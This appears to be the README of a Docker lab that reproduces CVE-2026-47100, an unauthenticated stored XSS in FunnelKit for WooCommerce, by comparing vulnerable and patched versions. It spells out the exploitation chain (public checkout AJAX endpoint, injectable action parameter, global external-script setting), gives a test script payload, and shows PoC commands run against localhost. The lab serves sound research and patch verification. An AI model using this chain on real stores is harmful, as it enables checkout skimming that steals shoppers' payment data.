
Laboratorio Docker local para reproducir CVE-2026-47100, un XSS almacenado no autenticado en FunnelKit para WooCommerce. Incluye scripts de PoC para comparar las versiones vulnerables y parcheadas.
Laboratorio local con Docker para reproducir CVE-2026-47100 de forma segura y con el menor impacto posible. Este laboratorio compara una versión vulnerable de FunnelKit con una versión parcheada y verifica el comportamiento mediante un marcador/alerta de JavaScript inofensivo.
CVE-2026-47100 es una vulnerabilidad por falta de autorización en Funnel Builder / FunnelKit para el checkout de WooCommerce anterior a la versión 3.15.0.3.
El flujo AJAX vulnerable del checkout permite que un visitante no autenticado invoque un método interno del plugin y escriba datos en el ajuste de script externo global integrado de FunnelKit. Debido a que ese ajuste se renderiza posteriormente en las páginas de checkout de FunnelKit, el problema puede convertirse en XSS almacenado no autenticado en las páginas de checkout.
Este repositorio reproduce el problema localmente mediante dos servicios Docker:
| Servicio | Versión | URL | Resultado esperado |
|---|---|---|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | comportamiento vulnerable confirmado |
patched | 3.15.0.3 | http://127.0.0.1:8082 | escritura bloqueada / marcador no renderizado |

Selección inicial de CVE a partir de la salida de Vulnx. El laboratorio y el PoC se construyeron manualmente comparando el comportamiento vulnerable y el parcheado.
Un atacante no autenticado puede abusar del flujo AJAX público del checkout para persistir JavaScript en el ajuste de script externo global de FunnelKit.
En una tienda WooCommerce real, esto podría permitir que JavaScript malicioso se ejecute en el navegador de los usuarios que visitan la página de checkout. Informes públicos han vinculado esta clase de vulnerabilidad con campañas de skimming en el checkout.
Este laboratorio utiliza intencionalmente solo un marcador de prueba inofensivo:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
La versión vulnerable acepta datos de checkout controlados por el usuario desde el endpoint AJAX público de WooCommerce:
/?wc-ajax=update_order_review
Dentro del flujo de checkout de FunnelKit, la solicitud puede incluir:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
La lógica vulnerable comprueba si el nombre de acción proporcionado existe como método de clase. Si el método existe, se puede invocar desde el flujo público de checkout.
Comportamiento vulnerable simplificado:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
La acción importante controlada por el atacante es:
update_global_settings_fields
Ese método actualiza la opción de WordPress:
_wfacp_global_settings
y específicamente la clave integrada de FunnelKit:
wfacp_global_external_script
El valor almacenado lo lee posteriormente la plantilla de checkout y se renderiza en la página de checkout. Esto crea la condición de XSS almacenado.
Cadena de explotación:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
La versión 3.15.0.3 refuerza la ruta vulnerable con dos cambios importantes.
La versión parcheada restringe qué acciones de checkout pueden invocarse desde el flujo público de checkout.
Comportamiento parcheado simplificado:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Esto impide que métodos internos arbitrarios como update_global_settings_fields sean invocados mediante solicitudes de checkout no autenticadas.
La versión parcheada también añade una comprobación de autorización antes de que puedan actualizarse los ajustes globales:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Esto significa que el ajuste de script externo global solo debería poder ser modificado por usuarios con privilegios de gestión de WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
El proceso de inicialización crea:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
El laboratorio utiliza una URL de checkout determinista:
/?post_type=wfacp_checkout&p=11
Esto carga explícitamente el custom post de checkout de FunnelKit en el laboratorio Docker local.
Inicia el laboratorio:
docker compose up -d --build
Comprueba los servicios:
docker compose ps
Servicios esperados:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Instala las dependencias de Python:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py es el PoC de laboratorio determinista.
Asume los valores de inicialización del Docker local:
product_id = 10
checkout_post_id = 11
Ejecútalo contra el servicio vulnerable:
python3 poc/poc_lab.py http://127.0.0.1:8081
Resultado esperado:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Ejecútalo contra el servicio parcheado:
python3 poc/poc_lab.py http://127.0.0.1:8082
Resultado esperado:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py es una herramienta de autocomprobación autorizada más portable.
Solo comprobación pasiva:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Comprobación activa autorizada:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Modo solo marcador sin alerta:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Intento de limpieza:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup